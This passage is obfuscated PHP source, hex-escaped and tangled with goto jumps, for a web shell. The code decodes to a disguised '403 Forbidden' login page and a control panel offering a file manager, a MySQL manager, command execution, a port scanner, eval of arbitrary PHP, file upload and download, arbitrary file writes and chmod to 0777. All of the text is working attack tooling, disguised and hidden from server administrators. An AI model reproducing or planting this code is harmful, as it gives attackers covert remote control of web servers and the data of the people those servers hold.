($v) { goto IEfTl; IEfTl: p("\x3c\150\62\76" . $n . "\40\x26\x72\x61\161\165\157\73\74\57\x68\x32\76"); goto xLKu3; yV9Ul: if (strpos($v, "\12") === false) { p($v . "\74\142\x72\x20\57\x3e"); } else { p("\74\160\x72\145\76" . $v . "\74\57\160\162\x65\x3e"); } goto cbutb; xLKu3: p("\74\144\x69\166\40\x63\x6c\x61\163\x73\x3d\42\151\156\146\157\x6c\151\x73\164\42\76"); goto yV9Ul; cbutb: p("\x3c\57\x64\151\166\x3e"); goto Kvo02; Kvo02: } } goto lRUjd; mw4v5: if ($charset == "\165\x74\146\x38") { header("\143\x6f\156\164\x65\156\x74\55\x54\x79\x70\145\x3a\x20\164\145\x78\x74\x2f\x68\164\155\154\x3b\40\x63\150\x61\162\x73\x65\164\75\165\x74\x66\55\x38"); } elseif ($charset == "\x62\151\x67\65") { header("\x63\157\156\x74\145\x6e\x74\x2d\124\171\160\145\72\x20\164\x65\170\164\x2f\150\x74\155\154\73\40\143\x68\x61\162\163\x65\x74\x3d\142\x69\147\65"); } elseif ($charset == "\147\x62\x6b") { header("\143\x6f\x6e\x74\145\x6e\x74\55\x54\x79\x70\145\x3a\40\164\x65\x78\x74\x2f\150\x74\x6d\154\x3b\40\x63\x68\x61\162\x73\145\x74\75\x67\x62\x6b"); } elseif ($charset == "\154\141\164\x69\156\x31") { header("\143\157\156\x74\x65\156\164\x2d\x54\x79\160\145\72\40\164\x65\x78\164\57\x68\164\155\154\73\x20\143\x68\141\162\163\145\164\x3d\151\x73\157\55\x38\70\x35\71\55\62"); } elseif ($charset == "\x65\165\x63\x2d\x6b\162") { header("\143\157\x6e\164\145\x6e\x74\55\124\x79\160\145\72\x20\x74\x65\170\164\x2f\x68\164\155\x6c\73\40\143\x68\x61\x72\163\145\164\x3d\145\x75\143\x2d\153\x72"); } elseif ($charset == "\x65\165\143\x2d\152\x70") { header("\x63\157\x6e\x74\145\156\x74\x2d\x54\x79\x70\145\x3a\40\164\x65\170\164\x2f\150\164\x6d\x6c\73\40\143\x68\x61\x72\163\145\x74\x3d\145\165\x63\x2d\x6a\160"); } goto WhiZy; Bmyw1: function getext($file) { $info = pathinfo($file); return $info["\x65\x78\x74\x65\x6e\163\x69\157\156"]; } goto OS0yN; LGa8v: $cookiepath = "\x2f"; goto C7ECg; LxqnM: !$action && ($action = "\146\151\x6c\x65"); goto oWcz9; sRW0t: function which($pr) { $path = execute("\x77\150\x69\x63\x68\40{$pr}"); return $path ? $path : $pr; } goto FTgK_; ubpOe: makehide("\160\x33", $p3); goto ZcQq_; y5Zoy: echo PHP_VERSION; goto WVlW0; bWkFA: echo "\74\57\164\x64\x3e\74\57\164\x72\x3e\x3c\x2f\164\x61\142\x6c\x65\x3e\15\12\x3c\x64\x69\166\40\163\x74\171\x6c\145\x3d\x22\160\x61\144\144\x69\156\x67\x3a\x31\60\160\170\x3b\142\157\162\x64\x65\x72\x2d\142\157\164\164\x6f\155\x3a\x31\160\x78\40\163\157\x6c\x69\x64\x20\43\146\146\x66\x3b\x62\157\162\144\145\x72\55\x74\x6f\160\72\61\x70\x78\40\x73\x6f\154\x69\x64\40\43\x64\x64\144\x3b\x62\141\143\153\x67\x72\x6f\x75\x6e\x64\72\x23\x65\x65\x65\73\x22\x3e\15\xa\x9\x3c\x73\160\x61\x6e\40\163\164\x79\x6c\x65\x3d\x22\x66\x6c\157\141\x74\72\x72\x69\x67\x68\164\x3b\x22\76"; goto uDJd_; HWME1: if ($doing == "\x64\x6f\167\156\x66\151\x6c\145" && $thefile) { if (!@file_exists($thefile)) { $errmsg = "\124\x68\x65\x20\x66\151\154\x65\40\171\157\165\x20\x77\x61\x6e\164\x20\x44\x6f\x77\x6e\154\157\x61\x64\141\142\154\x65\x20\167\141\x73\40\156\x6f\x6e\x65\x78\151\163\x74\145\x6e\x74"; } else { goto KDVT1; CpiCF: header("\x43\x6f\x6e\x74\145\x6e\x74\55\x74\171\x70\x65\72\x20\x61\160\x70\x6c\151\143\141\x74\x69\157\156\57\170\x2d" . $fileinfo["\145\x78\164\145\x6e\x73\151\x6f\156"]); goto qAdeU; hOslI: @readfile($thefile); goto L5UJE; KDVT1: $fileinfo = pathinfo($thefile); goto CpiCF; L5UJE: exit; goto AsayM; qAdeU: header("\103\x6f\x6e\164\x65\x6e\x74\x2d\104\x69\x73\x70\x6f\x73\x69\x74\151\x6f\x6e\72\x20\141\x74\x74\x61\x63\150\155\x65\156\x74\73\x20\x66\x69\x6c\x65\x6e\141\155\145\x3d" . $fileinfo["\x62\x61\163\x65\156\x61\155\x65"]); goto s39T5; s39T5: header("\x43\x6f\156\x74\x65\x6e\x74\55\x4c\145\x6e\147\164\x68\72\40" . filesize($thefile)); goto hOslI; AsayM: } } goto DnHSi; i2UzA: formhead(array("\x6e\141\x6d\145" => "\x6f\160\146\x6f\162\155")); goto k8a7w; luHNd: function dirsize($dir) { goto XsUWN; eV0Bi: return $size; goto OlGbo; bfH_1: @closedir($dh); goto eV0Bi; XsUWN: $dh = @opendir($dir); goto CPgzw; lyONF: while ($file = @readdir($dh)) { if ($file != "\56" && $file != "\x2e\x2e") { $path = $dir . "\57" . $file; $size += @is_dir($path) ? dirsize($path) : @filesize($path); } } goto bfH_1; CPgzw: $size = 0; goto lyONF; OlGbo: } goto pENZ7; WVlW0: echo "\x20\57\x20\123\141\146\x65\x20\115\157\x64\145\72"; goto tA6gy; ibtuS: $dis_func = get_cfg_var("\144\151\x73\x61\142\x6c\x65\x5f\x66\165\156\143\164\x69\157\x6e\163"); goto E0D6b; K4fnh: $nowpath = getPath(SA_ROOT, $dir); goto xguyB; k2WH3: define("\111\x53\137\103\x4f\x4d", class_exists("\x43\117\x4d") ? 1 : 0); goto TfN__; qs1Jm: function loginpage() { echo "\x3c\x68\x74\x6d\154\76\15\xa\x3c\150\x65\141\x64\x3e\x3c\x74\151\164\x6c\x65\x3e\x34\60\63\40\x46\x6f\x72\142\x69\x64\x64\x65\156\x3c\x2f\x74\151\x74\x6c\x65\76\x3c\57\x68\x65\x61\144\76\xd\12\x3c\163\164\x79\x6c\145\40\164\171\x70\145\x3d\42\x74\145\170\x74\x2f\143\163\x73\42\40\x6d\145\x64\x69\x61\75\42\x73\x63\162\x65\x65\156\42\x3e\15\xa\11\56\x6c\157\147\x69\156\xd\12\11\173\xd\12\11\11\x62\x6f\162\144\145\162\x3a\x30\73\xd\12\11\175\15\12\x3c\57\x73\164\171\154\145\x3e\15\12\x3c\x62\x6f\144\171\x20\x62\x67\x63\157\154\157\x72\75\42\x77\x68\x69\x74\x65\42\x3e\xd\12\74\143\x65\x6e\164\x65\x72\x3e\74\x68\x31\x3e\64\60\63\x20\x46\157\x72\x62\x69\x64\144\x65\156\74\x2f\x68\61\76\x3c\x2f\x63\145\x6e\x74\145\162\x3e\15\xa\74\150\162\x3e\x3c\x63\145\156\x74\145\x72\76\156\x67\x69\156\x78\57\x31\56\61\x35\x2e\60\x3c\57\143\145\x6e\164\145\x72\76\15\xa\11\x3c\x66\x6f\x72\x6d\40\155\145\x74\150\157\144\75\42\x50\117\123\x54\42\40\141\143\164\151\157\156\x3d\42\42\x3e\xd\12\x9\74\x69\156\x70\x75\164\x20\156\141\x6d\x65\75\42\160\141\x73\163\167\157\162\144\x22\x20\x74\171\160\145\75\42\x70\x61\163\163\x77\x6f\162\144\42\40\x63\154\x61\163\x73\x3d\42\x6c\x6f\x67\x69\x6e\x22\x20\163\151\x7a\x65\75\x22\62\x30\x22\76\xd\xa\x9\74\151\156\160\x75\x74\x20\164\171\x70\x65\75\42\x68\151\x64\144\145\156\x22\40\156\x61\x6d\145\x3d\x22\x61\x63\x74\151\157\156\x22\40\166\x61\x6c\x75\145\x3d\42\x6c\157\147\x69\156\42\76\15\12\x9\x3c\57\x66\157\x72\x6d\x3e\15\12\x3c\x2f\x62\x6f\x64\x79\x3e\15\12\74\57\150\164\x6d\154\x3e\xd\xa"; exit; } goto gz_Gs; u4owr: error_reporting(7); goto KviXL; VD0dN: function getChmod($filepath) { return substr(base_convert(@fileperms($filepath), 10, 8), -4); } goto Y0cCN; uY_26: echo "\74\x2f\163\160\141\x6e\x3e\xd\12\x9\x9\x9\x3c\x61\40\150\162\x65\x66\x3d\x22\x6a\141\x76\x61\x73\143\x72\x69\x70\x74\x3a\x67\x28\47\x6c\x6f\147\157\x75\x74\47\x29\73\42\x3e\x4c\x6f\x67\157\165\164\x3c\x2f\141\76\40\x7c\x20\15\12\11\11\11\x3c\141\x20\150\162\145\146\x3d\42\x6a\141\166\141\x73\x63\162\x69\x70\164\x3a\147\50\47\x66\151\154\145\47\51\x3b\x22\x3e\x46\x69\x6c\145\x20\x4d\x61\156\141\x67\x65\162\x3c\x2f\141\x3e\40\x7c\x20\xd\12\x9\x9\11\x3c\x61\40\x68\x72\x65\x66\75\x22\152\141\x76\141\x73\x63\162\x69\x70\x74\x3a\x67\x28\x27\155\x79\163\161\x6c\141\x64\155\151\x6e\x27\51\73\x22\x3e\x4d\x59\x53\x51\114\x20\x4d\x61\156\141\147\x65\162\74\x2f\141\x3e\40\174\x20\xd\12\x9\11\x9\74\x61\40\150\162\x65\146\x3d\42\152\x61\x76\x61\x73\143\x72\151\x70\x74\x3a\147\x28\47\x73\161\x6c\146\151\154\145\x27\51\x3b\42\76\x4d\x79\x53\121\114\x20\x55\160\x6c\157\141\144\x20\x26\x61\155\x70\73\x20\x44\157\x77\156\154\157\x61\144\x3c\x2f\x61\x3e\x20\174\40\xd\xa\x9\x9\x9\74\x61\40\150\162\145\146\75\x22\152\141\x76\x61\163\x63\x72\x69\160\164\72\147\50\x27\x73\x68\x65\x6c\x6c\47\51\73\x22\x3e\105\170\x65\143\165\x74\145\40\103\x6f\x6d\155\141\x6e\144\x3c\57\141\76\40\174\x20\15\xa\11\11\11\74\141\x20\x68\162\x65\146\75\x22\152\x61\x76\x61\x73\143\x72\x69\x70\164\72\x67\50\47\160\150\160\145\156\166\x27\x29\x3b\42\x3e\120\110\x50\40\126\141\x72\151\141\142\x6c\145\74\57\141\76\40\174\40\15\12\x9\x9\11\x3c\141\40\150\x72\x65\146\x3d\x22\152\141\x76\141\x73\143\x72\151\x70\x74\x3a\x67\x28\x27\160\x6f\162\164\163\143\x61\x6e\47\x29\73\42\x3e\x50\x6f\x72\x74\40\123\143\x61\x6e\x3c\x2f\141\76\40\x7c\x20\15\12\11\x9\x9\x3c\x61\40\x68\162\145\x66\x3d\x22\152\141\x76\141\x73\143\x72\x69\160\164\72\x67\x28\x27\163\145\143\151\156\x66\x6f\47\51\x3b\x22\76\x53\x65\x63\x75\162\x69\x74\171\40\151\156\x66\157\x72\155\141\164\x69\x6f\156\x3c\x2f\141\x3e\x20\x7c\40\xd\xa\x9\x9\11\74\141\40\x68\162\x65\x66\75\x22\152\141\166\x61\x73\143\x72\151\160\164\x3a\147\x28\x27\145\166\141\154\x27\x29\x3b\x22\x3e\x45\x76\141\x6c\40\120\110\x50\x20\x43\157\144\145\74\57\x61\x3e\15\xa\x9\11\11"; goto PH_Cz; LHXHt: function fr($qy) { mysql_free_result($qy); } goto l0u5J; iRFtB: function tbfoot() { p("\74\x2f\164\141\x62\154\145\x3e"); } goto L0ea9; TfN__: define("\111\x53\137\x47\x50\103", get_magic_quotes_gpc()); goto ibtuS; CKaeg: echo "\40\x28"; goto W9J2j; kXTJl: makehide("\160\62", $p2); goto ubpOe; KviXL: ob_start(); goto B3Eo6; kZCjb: echo $_SERVER["\x48\124\x54\120\137\x48\x4f\123\x54"]; goto CKaeg; CxbqO: function mydbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = "\x33\63\60\66") { goto Xf_Ug; Q73wH: if (!($link = @mysql_connect($dbhost . "\x3a" . $dbport, $dbuser, $dbpass))) { p("\74\150\62\x3e\x43\x61\x6e\40\x6e\x6f\164\40\x63\x6f\x6e\x6e\145\x63\164\40\x74\157\x20\x4d\171\x53\121\x4c\40\163\145\162\166\x65\x72\x3c\x2f\150\x32\x3e"); exit; } goto tgkmp; URthr: return $link; goto GCW3A; tgkmp: if ($link && $dbname) { if (!@mysql_select_db($dbname, $link)) { p("\x3c\x68\62\x3e\104\141\x74\141\x62\x61\163\x65\x20\163\x65\x6c\x65\143\x74\145\x64\x20\x68\x61\x73\x20\145\x72\162\x6f\x72\x3c\57\150\x32\76"); exit; } } goto V44P7; Xf_Ug: global $charsetdb; goto PTLyY; PTLyY: @ini_set("\155\171\x73\x71\154\56\143\157\156\x6e\x65\x63\164\x5f\x74\x69\x6d\145\157\x75\164", 5); goto Q73wH; V44P7: if ($link && mysql_get_server_info() > "\x34\x2e\61") { if ($charset && in_array(strtolower($charset), $charsetdb)) { q("\x53\x45\124\x20\143\x68\x61\x72\x61\x63\x74\x65\162\x5f\x73\x65\x74\x5f\x63\x6f\x6e\156\x65\143\x74\151\157\x6e\75{$charset}\54\40\143\x68\141\x72\x61\x63\x74\x65\x72\137\163\145\x74\137\162\145\163\165\x6c\x74\163\75{$charset}\54\40\143\x68\x61\162\141\x63\x74\145\x72\137\163\x65\164\137\x63\x6c\x69\x65\156\164\x3d\x62\x69\x6e\x61\162\171\73", $link); } } goto URthr; GCW3A: } goto tW8sZ; PR8q8: !$writabledb && ($writabledb = "\160\x68\160\54\143\x67\151\x2c\160\154\54\141\163\x70\54\x69\x6e\143\54\152\x73\54\150\164\x6d\154\x2c\x68\x74\x6d\54\152\x73\x70"); goto Zc2mi; j0GbK: function qy($sql) { goto s8Ld4; HGt_S: if (!($res = @mysql_query($sql, $mysqllink))) { return 0; } else { if (is_resource($res)) { return 1; } else { return 2; } } goto jaADe; o9b5r: $res = $error = ''; goto HGt_S; jaADe: return 0; goto mg555; s8Ld4: global $mysqllink; goto o9b5r; mg555: } goto MyciK; hIUKc: echo $action . "\x20\x2d\x20" . $_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\123\x54"]; goto zVY9g; TuzlJ: formfoot(); goto VkgCv; C7ECg: $cookielife = 86400; goto PR8q8; YJD9B: $cookiedomain = ''; goto LGa8v; tA6gy: echo getcfg("\x73\141\146\145\x5f\x6d\x6f\x64\x65"); goto uY_26; vfSYg: function getUser($filepath) { if (function_exists("\x70\157\x73\151\170\137\x67\x65\x74\x70\x77\165\151\x64")) { $array = @posix_getpwuid(@fileowner($filepath)); if ($array && is_array($array)) { return "\x20\57\40\74\x61\x20\x68\162\x65\146\x3d\42\43\42\x20\164\151\x74\154\145\x3d\x22\125\x73\145\x72\x3a\x20" . $array["\x6e\x61\155\x65"] . "\46\43\x31\x33\46\43\61\60\120\141\163\x73\x77\144\x3a\40" . $array["\x70\x61\x73\163\x77\x64"] . "\x26\x23\x31\x33\46\43\x31\x30\125\151\144\72\40" . $array["\165\x69\144"] . "\x26\43\61\63\46\x23\x31\x30\x67\151\x64\72\40" . $array["\147\151\x64"] . "\46\43\x31\63\46\43\x31\60\x47\145\x63\157\x73\x3a\x20" . $array["\147\145\143\x6f\x73"] . "\x26\43\61\x33\x26\x23\61\60\x44\x69\162\x3a\40" . $array["\x64\151\x72"] . "\x26\x23\61\63\46\43\x31\60\123\150\x65\x6c\x6c\x3a\x20" . $array["\163\x68\145\154\x6c"] . "\x22\76" . $array["\156\x61\x6d\145"] . "\x3c\57\141\x3e"; } } return ''; } goto KFN0U; lRUjd: function m($msg) { goto lebiv; CnB3O: echo "\74\57\144\x69\166\76"; goto qstm2; lebiv: echo "\74\x64\151\x76\40\x73\x74\x79\154\145\75\x22\x6d\x61\x72\147\x69\156\72\x31\x30\x70\x78\x20\x61\165\164\157\40\61\x35\160\170\40\x61\x75\164\x6f\73\142\141\143\x6b\x67\162\157\x75\x6e\x64\72\43\146\x66\x66\x66\x65\x30\x3b\x62\x6f\162\x64\145\x72\x3a\x31\x70\170\40\x73\157\154\x69\144\40\x23\145\66\144\x62\x35\x35\73\x70\141\x64\x64\151\x6e\147\x3a\61\x30\160\x78\x3b\x66\157\x6e\164\72\61\x34\x70\x78\73\164\x65\x78\164\55\141\154\151\x67\156\x3a\x63\145\x6e\164\x65\162\x3b\146\x6f\x6e\164\x2d\x77\x65\151\147\150\x74\72\x62\x6f\x6c\144\73\42\76"; goto EDNte; EDNte: echo $msg; goto CnB3O; qstm2: } goto fkQDN; BcUpu: function makeinput($arg = array()) { goto LB27l; fuFjP: !$arg["\164\171\160\145"] && ($arg["\164\x79\x70\x65"] = "\164\145\170\164"); goto QUwKg; LB27l: $arg["\163\x69\172\145"] = $arg["\x73\x69\x7a\145"] > 0 ? "\163\151\x7a\145\75\42{$arg["\163\x69\x7a\x65"]}\42" : "\163\x69\172\145\75\x22\61\60\x30\x22"; goto y4z2f; QUwKg: $arg["\164\x69\x74\x6c\x65"] = $arg["\164\x69\x74\154\x65"] ? $arg["\x74\x69\164\x6c\x65"] . "\74\x62\x72\40\x2f\76" : ''; goto UKM6S; y4z2f: $arg["\145\x78\x74\162\141"] = $arg["\x65\x78\x74\162\141"] ? $arg["\x65\x78\x74\x72\x61"] : ''; goto fuFjP; UKM6S: $arg["\x63\154\x61\x73\x73"] = $arg["\143\x6c\x61\x73\163"] ? $arg["\143\x6c\141\163\163"] : "\151\156\160\x75\x74"; goto i38Ka; i38Ka: if ($arg["\156\145\x77\154\151\x6e\145"]) { p("\74\160\76{$arg["\164\151\164\154\145"]}\x3c\151\x6e\160\165\164\40\143\154\x61\163\163\75\x22{$arg["\x63\x6c\141\163\x73"]}\42\40\x6e\141\x6d\x65\75\x22{$arg["\x6e\x61\155\x65"]}\x22\x20\151\x64\75\42{$arg["\x6e\141\155\x65"]}\42\x20\166\141\x6c\165\145\x3d\42{$arg["\166\x61\154\x75\145"]}\x22\x20\x74\x79\x70\x65\75\x22{$arg["\164\x79\x70\145"]}\x22\x20{$arg["\x73\x69\172\145"]}\x20{$arg["\x65\170\x74\162\x61"]}\40\57\76\x3c\57\160\x3e"); } else { p("{$arg["\164\x69\164\154\145"]}\x3c\x69\x6e\x70\165\164\40\143\x6c\141\163\x73\x3d\x22{$arg["\x63\154\141\163\x73"]}\x22\x20\156\141\x6d\x65\75\42{$arg["\156\141\x6d\145"]}\x22\40\x69\x64\x3d\42{$arg["\156\141\155\145"]}\x22\40\x76\141\x6c\x75\145\75\x22{$arg["\x76\x61\154\x75\145"]}\x22\x20\164\171\160\145\75\x22{$arg["\164\171\x70\145"]}\42\x20{$arg["\163\151\172\x65"]}\x20{$arg["\145\x78\x74\x72\x61"]}\40\57\x3e"); } goto RkEty; RkEty: } goto PCUBZ; xJ93P: define("\x49\x53\x5f\127\x49\x4e", DIRECTORY_SEPARATOR == "\x5c"); goto k2WH3; WxyVb: if ($action == "\x66\151\x6c\145") { goto yQ3wf; xQfFy: !$all && ($all = 0); goto PWb7e; ebyT7: echo $dir_writeable; goto PSZhc; iGVNG: makehide("\x73\156\141\155\145"); goto lKnxL; PWb7e: $used = $all - $free; goto sx2A0; ReL7B: p("\40\x7c\40\74\x61\x20\150\x72\x65\x66\75\42\x6a\141\x76\x61\163\x63\x72\x69\160\164\72\x63\162\x65\141\x74\x65\x64\151\x72\50\x29\73\x22\x3e\103\x72\145\141\x74\x65\40\x44\151\162\x65\x63\x74\x6f\162\x79\74\57\141\x3e\40\174\40\x3c\141\x20\150\x72\145\146\x3d\42\152\x61\x76\141\x73\143\162\151\x70\164\72\x63\x72\x65\x61\x74\145\146\151\154\145\x28\x27" . $nowpath . "\47\51\x3b\42\x3e\x43\162\145\141\x74\x65\x20\x46\151\x6c\145\74\57\141\76"); goto AGPnC; AGPnC: p("\74\x64\x69\166\x20\163\164\x79\x6c\x65\75\42\160\x61\x64\x64\x69\x6e\147\x3a\65\160\170\x20\x30\73\x22\76\74\x66\x6f\162\x6d\x20\x61\x63\164\151\157\x6e\75\x22" . $self . "\42\40\x6d\145\164\150\157\144\75\x22\x50\x4f\x53\124\x22\x3e\106\151\x6e\x64\x20\x73\x74\162\151\x6e\x67\x20\x69\156\40\146\x69\154\x65\x73\50\x63\x75\x72\162\x65\156\x74\x20\146\157\x6c\x64\x65\162\51\x3a\40\x3c\x69\156\160\165\164\40\143\x6c\141\163\x73\x3d\42\151\x6e\160\x75\x74\x22\x20\156\x61\x6d\x65\x3d\x22\146\x69\x6e\x64\163\x74\162\42\40\166\x61\154\165\x65\x3d\42" . $findstr . "\x22\x20\164\171\x70\145\75\42\x74\145\x78\164\x22\x20\57\76\40\74\x69\156\x70\165\164\40\x63\154\141\163\x73\75\42\x62\x74\42\40\166\141\x6c\x75\145\75\42\x46\x69\156\144\x22\x20\164\171\160\x65\75\x22\163\x75\142\155\x69\x74\42\40\57\x3e\x20\x54\171\160\x65\x3a\40\74\x69\156\x70\x75\x74\40\x63\154\x61\163\x73\75\x22\x69\156\x70\x75\164\x22\x20\156\141\x6d\145\75\x22\x77\x72\x69\x74\141\142\154\145\x64\142\x22\x20\x76\x61\x6c\x75\x65\x3d\42" . $writabledb . "\42\x20\164\171\160\145\x3d\42\x74\145\x78\164\x22\x20\57\76\x3c\x69\156\160\x75\164\x20\156\141\155\145\x3d\x22\144\x69\x72\42\x20\166\141\154\x75\145\75\x22" . $dir . "\x22\x20\x74\171\x70\145\x3d\x22\x68\x69\144\144\145\156\x22\x20\57\x3e\x20\74\x69\156\x70\165\164\x20\x6e\141\155\x65\75\42\x72\x65\42\x20\x76\141\x6c\x75\145\x3d\x22\61\42\40\x74\x79\160\145\x3d\x22\x63\150\145\143\153\x62\157\170\42\40" . ($re ? "\x63\x68\145\143\x6b\145\x64" : '') . "\40\57\76\x20\x52\145\x67\165\154\141\162\x20\145\170\x70\162\145\x73\163\151\157\x6e\x73\x3c\57\x66\157\162\155\x3e\x3c\x2f\x64\x69\166\76\74\x2f\164\x64\76\74\57\x74\162\76"); goto GJWQS; oell7: makehide("\144\151\x72", $nowpath); goto l8clU; sx2A0: p("\x3c\150\62\x3e\106\151\x6c\145\40\115\141\156\141\147\x65\162\40\x2d\x20\103\x75\162\162\x65\x6e\x74\40\144\151\x73\153\40\x66\162\x65\145\40" . sizecount($free) . "\40\x6f\146\40" . sizecount($all) . "\40\50" . @round(100 / ($all / $free), 2) . "\45\51\74\x2f\150\x32\x3e"); goto iKz6S; TIOyT: formhead(array("\x6e\x61\x6d\x65" => "\x67\145\x74\163\x69\x7a\x65")); goto Hpmzr; Hn_Ty: makehide("\144\151\x72", $nowpath); goto arSeX; ASuWD: @sort($filedata); goto gvMnO; sqJNz: echo getChmod($nowpath); goto q0LBu; PSZhc: echo "\54\x20"; goto sqJNz; JEB3d: echo "\x3c\163\x63\162\151\160\164\x20\164\171\160\145\75\42\164\x65\x78\164\57\x6a\141\166\x61\163\143\162\151\160\x74\42\76\xd\xa\144\x6f\143\165\x6d\145\156\164\56\x6f\x6e\x63\154\x69\143\x6b\40\x3d\40\x73\x68\157\x77\x6e\141\x76\73\15\12\x66\x75\x6e\x63\x74\151\157\156\40\x73\x68\x6f\167\156\x61\x76\x28\145\x29\173\15\12\x9\166\x61\162\40\163\162\143\x20\x3d\40\145\77\145\56\164\x61\162\x67\x65\x74\x3a\x65\166\145\156\x74\56\x73\162\x63\105\x6c\145\155\145\x6e\164\x3b\xd\xa\11\144\157\173\xd\12\x9\x9\x69\x66\50\163\x72\143\x2e\151\x64\x20\x3d\x3d\42\152\165\155\160\x74\x6f\x22\x29\x20\173\15\12\x9\11\x9\44\50\47\x69\156\x70\x75\164\156\141\166\47\51\56\x73\164\x79\x6c\145\x2e\x64\x69\163\160\x6c\141\x79\x20\x3d\x20\42\x22\x3b\15\xa\11\x9\11\44\x28\x27\160\141\x74\150\156\141\x76\x27\x29\56\x73\164\171\x6c\x65\56\x64\151\x73\160\x6c\x61\x79\x20\x3d\40\x22\x6e\x6f\156\x65\x22\73\15\xa\x9\11\x9\x2f\57\x68\151\x64\145\x6e\x61\166\x28\51\x3b\xd\xa\x9\x9\x9\x72\145\x74\165\x72\156\x3b\xd\xa\11\x9\x7d\xd\xa\11\x9\x69\x66\50\x73\x72\143\x2e\x69\144\40\75\75\x22\151\x6e\x70\165\x74\x6e\141\166\x22\x29\40\x7b\xd\xa\x9\11\x9\x72\x65\x74\165\162\156\x3b\15\12\x9\x9\175\15\xa\11\11\x73\162\x63\x20\x3d\x20\x73\x72\x63\56\160\141\x72\145\156\x74\116\157\x64\145\x3b\xd\xa\x9\175\x77\150\151\154\x65\50\x73\x72\x63\x2e\160\x61\x72\145\156\x74\116\157\144\x65\x29\xd\12\15\12\11\44\x28\x27\151\156\160\165\164\156\x61\166\47\x29\x2e\163\164\x79\154\x65\x2e\144\151\163\x70\154\141\x79\40\x3d\x20\x22\156\157\156\145\x22\73\15\12\x9\44\x28\x27\x70\141\x74\x68\156\141\166\47\51\56\163\164\171\154\145\56\x64\151\x73\x70\x6c\x61\171\x20\75\40\x22\42\x3b\xd\12\175\15\12\74\x2f\x73\143\x72\151\x70\x74\x3e\15\xa\74\x64\x69\166\40\x73\164\x79\x6c\145\x3d\x22\142\x61\x63\153\x67\x72\157\165\156\x64\72\x23\145\145\x65\73\155\x61\x72\x67\151\x6e\55\142\157\164\164\x6f\x6d\72\x31\x30\160\170\73\x22\76\15\xa\11\74\164\141\x62\x6c\145\40\x69\144\75\42\160\x61\164\x68\x6e\141\166\x22\40\167\x69\x64\x74\x68\75\42\x31\x30\60\x25\x22\40\142\157\162\144\145\x72\75\x22\60\x22\40\143\145\154\154\x70\x61\144\x64\x69\x6e\x67\x3d\x22\x35\42\x20\143\145\154\x6c\163\160\141\x63\x69\156\147\x3d\x22\x30\x22\x3e\xd\xa\x9\11\74\x74\x72\76\xd\12\11\x9\11\74\x74\x64\x20\167\x69\144\x74\150\x3d\x22\x31\x30\x30\45\42\76"; goto jbaeJ; d6zDo: p("\x3c\x74\x72\x20\x62\x67\x63\x6f\x6c\157\x72\x3d\42\43\x64\x64\144\x64\144\144\42\x20\163\164\154\x79\x65\75\x22\x62\157\x72\x64\x65\x72\55\x74\157\x70\72\61\x70\170\40\x73\x6f\x6c\151\144\40\x23\x66\x66\146\73\x62\x6f\162\144\x65\x72\55\x62\157\164\x74\157\x6d\72\x31\x70\170\40\x73\157\x6c\151\144\x20\43\x64\x64\144\x3b\x22\76\74\164\x64\x20\x63\157\x6c\x73\160\x61\156\x3d\42\66\x22\x20\150\x65\151\x67\x68\x74\x3d\x22\x35\42\x3e\74\x2f\164\144\76\x3c\57\x74\162\76"); goto POoN3; R3xBm: $dirdata = array(); goto xYKYj; HdVo3: makehide("\144\x69\162"); goto kT13w; l8clU: formfoot(); goto qCGl3; ck1KD: formfoot(); goto cEtC7; ayCu2: formfoot(); goto DM8Nv; UZ9pL: @sort($dirdata); goto ASuWD; Y_DVh: makehide("\141\x63\x74\151\x6f\156"); goto SuqM5; HLx3Y: makehide("\157\x6c\x64\156\x61\155\x65"); goto BCrvC; YJvoP: p("\74\x66\x6f\x72\155\40\x69\x64\x3d\42\x66\151\154\145\154\x69\163\164\x22\x20\156\x61\x6d\145\x3d\42\x66\151\x6c\x65\x6c\x69\163\164\42\40\x61\143\x74\151\x6f\156\75\42" . $self . "\x22\40\x6d\x65\164\150\157\144\x3d\x22\160\x6f\x73\x74\x22\76"); goto wypfI; KAruo: !$free && ($free = 0); goto A3rRU; CwE_N: $re = $_POST["\162\x65"]; goto IlcBf; iKz6S: $cwd_links = ''; goto zbxH2; ZJ5zU: formfoot(); goto fIHLY; xhn6_: echo "\x20\x28"; goto CgMXf; qCGl3: formhead(array("\x6e\x61\155\145" => "\146\x69\x6c\x65\157\x70\146\157\162\x6d", "\x74\x61\162\147\145\164" => "\x5f\142\x6c\x61\x6e\153")); goto Y_DVh; BUWlS: p("\x3c\57\146\157\162\155\76\74\57\164\x61\x62\x6c\145\x3e"); goto U9m1r; SuqM5: makehide("\x6f\160\x66\151\x6c\145"); goto HdVo3; Ffyt7: if ($newdirname) { $mkdirs = $nowpath . $newdirname; if (file_exists($mkdirs)) { m("\x44\x69\x72\x65\x63\x74\157\x72\x79\40\150\141\x73\x20\141\x6c\x72\145\141\144\171\x20\145\x78\151\163\x74\145\x64"); } else { m("\x44\151\162\145\143\x74\x6f\162\x79\40\143\x72\145\141\x74\x65\144\x20" . (@mkdir($mkdirs, 0777) ? "\x73\165\x63\x63\145\x73\x73" : "\x66\x61\151\154\x65\144")); @chmod($mkdirs, 0777); } } elseif ($doupfile) { m("\106\x69\154\145\40\x75\x70\154\157\x61\x64\x20" . (@copy($_FILES["\x75\160\x6c\x6f\141\144\x66\151\154\145"]["\164\155\160\137\156\x61\x6d\x65"], $uploaddir . "\x2f" . $_FILES["\165\x70\154\x6f\141\x64\146\151\x6c\145"]["\x6e\141\155\x65"]) ? "\163\165\143\x63\145\163\163" : "\146\141\151\x6c\145\x64")); } elseif ($editfilename && $filecontent) { goto PV5lw; D2QOt: @fclose($fp); goto nSKa6; PV5lw: $fp = @fopen($editfilename, "\x77"); goto uvey3; uvey3: m("\x53\x61\x76\x65\x20\x66\x69\x6c\145\x20" . (@fwrite($fp, $filecontent) ? "\x73\x75\x63\x63\145\x73\163" : "\146\141\151\x6c\x65\144")); goto D2QOt; nSKa6: } elseif ($pfile && $newperm) { if (!file_exists($pfile)) { m("\x54\x68\x65\x20\157\162\151\x67\x69\156\x61\154\40\146\151\154\x65\40\144\157\x65\x73\40\x6e\x6f\x74\40\x65\x78\151\x73\x74"); } else { $newperm = base_convert($newperm, 8, 10); m("\115\x6f\144\151\x66\x79\40\x66\151\x6c\145\x20\141\x74\164\162\151\142\x75\164\x65\163\40" . (@chmod($pfile, $newperm) ? "\x73\x75\143\143\x65\x73\x73" : "\x66\x61\x69\x6c\x65\144")); } } elseif ($oldname && $newfilename) { $nname = $nowpath . $newfilename; 